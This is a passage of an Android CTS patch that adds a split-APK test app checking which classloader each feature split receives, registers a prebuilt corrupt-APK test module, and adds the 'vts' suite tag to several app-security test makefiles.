+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.classloadersplitapp"
+        featureSplit="feature_a">
+
+    <application android:classLoader="dalvik.system.DelegateLastClassLoader">
+        <activity android:name=".feature_a.FeatureAActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_a.FeatureAReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
new file mode 100644
index 0000000..ebb2faf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_a;
+
+import com.android.cts.classloadersplitapp.BaseActivity;
+
+public class FeatureAActivity extends BaseActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
new file mode 100644
index 0000000..e27a280
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_a/src/com/android/cts/classloadersplitapp/feature_a/FeatureAReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_a;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.classloadersplitapp.BaseReceiver;
+
+public class FeatureAReceiver extends BaseReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Bundle b = getResultExtras(true);
+
+        // Figure out the classloader that loaded this class and also
+        // its parent loader.
+        final ClassLoader loader = getClass().getClassLoader();
+        final ClassLoader parent = loader.getParent();
+
+        b.putString("featureA_loaderClassName", loader.getClass().getName());
+        b.putString("featureA_parentClassName", parent.getClass().getName());
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
new file mode 100644
index 0000000..a1b43ea
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_PACKAGE_NAME := CtsClassloaderSplitAppFeatureB
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_APK_LIBRARIES := CtsClassloaderSplitApp CtsClassloaderSplitAppFeatureA
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS := --custom-package com.android.cts.classloadersplitapp.feature_b
+LOCAL_AAPT_FLAGS += --package-id 0x81
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
new file mode 100644
index 0000000..8d9ac52
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.classloadersplitapp"
+        featureSplit="feature_b">
+
+    <uses-split android:name="feature_a" />
+
+    <application>
+        <activity android:name=".feature_b.FeatureBActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_b.FeatureBReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.classloadersplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
new file mode 100644
index 0000000..fc46307
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_b_string">Feature B String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
new file mode 100644
index 0000000..421ce55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_b_string">Feature B String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
new file mode 100644
index 0000000..86f5015
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBActivity.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_b;
+
+import com.android.cts.classloadersplitapp.feature_a.FeatureAActivity;
+
+public class FeatureBActivity extends FeatureAActivity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
new file mode 100644
index 0000000..0a7287d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/feature_b/src/com/android/cts/classloadersplitapp/feature_b/FeatureBReceiver.java
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp.feature_b;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.classloadersplitapp.feature_a.FeatureAReceiver;
+
+public class FeatureBReceiver extends FeatureAReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Bundle b = getResultExtras(true);
+
+        // Figure out the classloader that loaded this class and also
+        // its parent loader.
+        final ClassLoader loader = getClass().getClassLoader();
+        final ClassLoader parent = loader.getParent();
+
+        b.putString("featureB_loaderClassName", loader.getClass().getName());
+        b.putString("featureB_parentClassName", parent.getClass().getName());
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
new file mode 100644
index 0000000..b727d12
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.classloadersplitapp;
+
+import android.app.Activity;
+
+public class BaseActivity extends Activity {
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
new file mode 100644
index 0000000..51d883a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/BaseReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.classloadersplitapp;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BaseReceiver extends BroadcastReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        Bundle b = getResultExtras(true);
+
+        // Figure out the classloader that loaded this class and also
+        // its parent loader.
+        final ClassLoader loader = getClass().getClassLoader();
+        final ClassLoader parent = loader.getParent();
+
+        b.putString("loaderClassName", loader.getClass().getName());
+        b.putString("parentClassName", parent.getClass().getName());
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
new file mode 100644
index 0000000..54482a8
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ClassLoaderSplitApp/src/com/android/cts/classloadersplitapp/SplitAppTest.java
@@ -0,0 +1,174 @@
+/*
+ * Copyright (C) 2014 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.classloadersplitapp;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.junit.Assert.*;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Configuration;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runner.RunWith;
+import org.junit.runners.model.Statement;
+
+import java.util.Locale;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class SplitAppTest {
+    /* The feature hierarchy looks like this:
+
+        APK_BASE (PathClassLoader)
+          ^
+          |
+        APK_FEATURE_A (DelegateLastClassLoader)
+          ^
+          |
+        APK_FEATURE_B (PathClassLoader)
+
+     */
+
+    private static final String PACKAGE = "com.android.cts.classloadersplitapp";
+    private static final ComponentName FEATURE_A_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".feature_a.FeatureAActivity");
+    private static final ComponentName FEATURE_B_ACTIVITY =
+            ComponentName.createRelative(PACKAGE, ".feature_b.FeatureBActivity");
+
+    @Rule
+    public ActivityTestRule<BaseActivity> mBaseActivityRule =
+            new ActivityTestRule<>(BaseActivity.class);
+
+    // Do not launch this activity lazily. We use this rule to launch all feature Activities,
+    // so we use #launchActivity() with the correct Intent.
+    @Rule
+    public ActivityTestRule<Activity> mFeatureActivityRule =
+            new ActivityTestRule<>(Activity.class, true /*initialTouchMode*/,
+                    false /*launchActivity*/);
+
+    @Rule
+    public AppContextTestRule mAppContextTestRule = new AppContextTestRule();
+
+    @Test
+    public void testBaseClassLoader() throws Exception {
+        final Context context = mBaseActivityRule.getActivity();
+        assertEquals("dalvik.system.PathClassLoader",
+            context.getClassLoader().getClass().getName());
+    }
+
+    @Test
+    public void testFeatureAClassLoader() throws Exception {
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_A_ACTIVITY));
+
+        // Feature A requests a DelegateLastClassLoader, so make sure
+        // it is given one.
+        final ClassLoader cl = context.getClassLoader();
+        assertEquals("dalvik.system.DelegateLastClassLoader", cl.getClass().getName());
+
+        // Also assert that its parent (the base) is a PathClassLoader.
+        assertEquals("dalvik.system.PathClassLoader", cl.getParent().getClass().getName());
+    }
+
+    @Test
+    public void testFeatureBClassLoader() throws Exception {
+        // Feature B depends on A, so we expect both to be available.
+        final Context context = mFeatureActivityRule.launchActivity(
+                new Intent().setComponent(FEATURE_B_ACTIVITY));
+
+        // Feature B requests a PathClassLoader but it depends on feature A, which
+        // requests a DelegateLastClassLoader.
+        final ClassLoader cl = context.getClassLoader();
+        assertEquals("dalvik.system.PathClassLoader", cl.getClass().getName());
+        assertEquals("dalvik.system.DelegateLastClassLoader", cl.getParent().getClass().getName());
+    }
+
+    @Test
+    public void testAllReceivers() throws Exception {
+        final Context context = mAppContextTestRule.getContext();
+        final ExtrasResultReceiver receiver = sendOrderedBroadcast(context);
+        final Bundle results = receiver.get();
+
+        // Base.
+        assertThat(results.getString("loaderClassName"),
+            equalTo("dalvik.system.PathClassLoader"));
+
+        // Feature A.
+        assertThat(results.getString("featureA_loaderClassName"),
+            equalTo("dalvik.system.DelegateLastClassLoader"));
+        assertThat(results.getString("featureA_parentClassName"),
+            equalTo("dalvik.system.PathClassLoader"));
+
+        // Feature B.
+        assertThat(results.getString("featureB_loaderClassName"),
+            equalTo("dalvik.system.PathClassLoader"));
+        assertThat(results.getString("featureB_parentClassName"),
+            equalTo("dalvik.system.DelegateLastClassLoader"));
+    }
+
+    private static class ExtrasResultReceiver extends BroadcastReceiver {
+        private final CompletableFuture<Bundle> mResult = new CompletableFuture<>();
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mResult.complete(getResultExtras(true));
+        }
+
+        public Bundle get() throws Exception {
+            return mResult.get(5000, TimeUnit.SECONDS);
+        }
+    }
+
+    private static ExtrasResultReceiver sendOrderedBroadcast(Context context) {
+        final ExtrasResultReceiver resultReceiver = new ExtrasResultReceiver();
+        context.sendOrderedBroadcast(new Intent(PACKAGE + ".ACTION").setPackage(PACKAGE), null,
+                resultReceiver, null, 0, null, null);
+        return resultReceiver;
+    }
+
+    private static class AppContextTestRule implements TestRule {
+        private Context mContext;
+
+        @Override
+        public Statement apply(final Statement base, Description description) {
+            return new Statement() {
+                @Override
+                public void evaluate() throws Throwable {
+                    mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+                    base.evaluate();
+                }
+            };
+        }
+
+        public Context getContext() {
+            return mContext;
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
index feaaa03..9fd8b98 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/Android.mk
@@ -28,4 +28,12 @@
 LOCAL_SRC_FILES := b71361168.apk
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 LOCAL_CERTIFICATE := PRESIGNED
+include $(BUILD_PREBUILT)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CtsCorruptApkTests_b79488511
+LOCAL_MODULE_CLASS := APPS
+LOCAL_SRC_FILES := b79488511.apk
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CERTIFICATE := PRESIGNED
 include $(BUILD_PREBUILT)
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
index ef1e2bf..dc00656 100644
--- a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b71361168.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
new file mode 100644
index 0000000..22af499
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/CorruptApkTests/b79488511.apk
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
index 1311944..dbf5284 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_PACKAGE_NAME := CtsDeclareNonRuntimePermissions
 
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
index 60ece87..0a55834 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDocumentClient
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index 0084eb3..7609e33 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDocumentProvider
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index a94b206..a4a9436 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsEncryptionApp
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
index eadbb82..2721a12 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
@@ -18,7 +18,7 @@
 include $(CLEAR_VARS)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 # Build the test APKs using their own makefiles
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
index 3597fb9..ed9814b 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -28,7 +28,7 @@
 	ctstestrunner
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
index 4b2ff77..20b44a3 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp2/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
index 52236e1..0ba6362 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.mk
@@ -24,7 +24,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
index 51b12e4..07a9494 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.mk
@@ -24,7 +24,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
index ba43da5..4831fed 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests sts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
 
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
 
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
index 24d9f2a..1206e56 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/Android.mk
@@ -24,7 +24,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
index 5172dff..f446140 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserAppTest/Android.mk
@@ -23,7 +23,7 @@
     legacy-android-test
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
